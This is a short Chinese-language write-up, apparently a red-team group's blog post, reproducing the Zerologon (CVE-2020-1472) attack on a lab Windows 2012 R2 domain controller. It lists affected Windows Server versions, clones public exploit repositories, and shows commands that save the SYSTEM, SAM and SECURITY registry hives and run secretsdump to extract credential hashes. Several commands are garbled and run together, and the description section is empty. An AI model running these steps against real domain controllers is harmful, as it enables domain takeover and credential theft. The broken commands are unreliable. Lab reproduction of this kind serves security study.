CVE-2020-1472漏洞复现

 漏洞描述

 影响范围

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2012

Windows Server 2012 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 R2 (Server Core installation)

Windows Server 2016

Windows Server 2016 (Server Core installation)

Windows Server 2019

Windows Server 2019 (Server Core installation)

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

 复现环境

DC：

版本：windows server 2012R2

IP:192.168.111.133/24

Kali:

IP：192.168.111.128/24

Python:3.8.6

 复现过程

git clone https://github.com/SecuraBV/CVE-2020-1472cd CVE-2020-1472

git clone https://github.co/SecureAuthCorp/impacket

cd impacket pip install

cd examplesgit clone https://github.com/dirkjanm/CVE-2020-1472

reg save HKLMSYSTEM system.savereg save HKLMSAM sam.exereg save HKLMSECURITY security.savelget system.savelget sam.savelget security.save

python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

git clone https://github.com/risksense/zerologon

注：文章仅参考学习，若有侵权联系删除

记一次搭建靶场渗透过程（1）

记一次搭建靶场渗透过程（2）

记一次搭建靶场渗透过程（3）

           团队介绍

银河护卫队super，是一个致力于红队攻防实战、内网渗透、代码审计、安卓逆向、安全运维等技术干货分享的队伍，定期分享常用渗透工具、复现教程等资源。欢迎有想法、乐于分享的具备互联网分享精神的安全人士进行交流学习。

点击关注银河护卫队super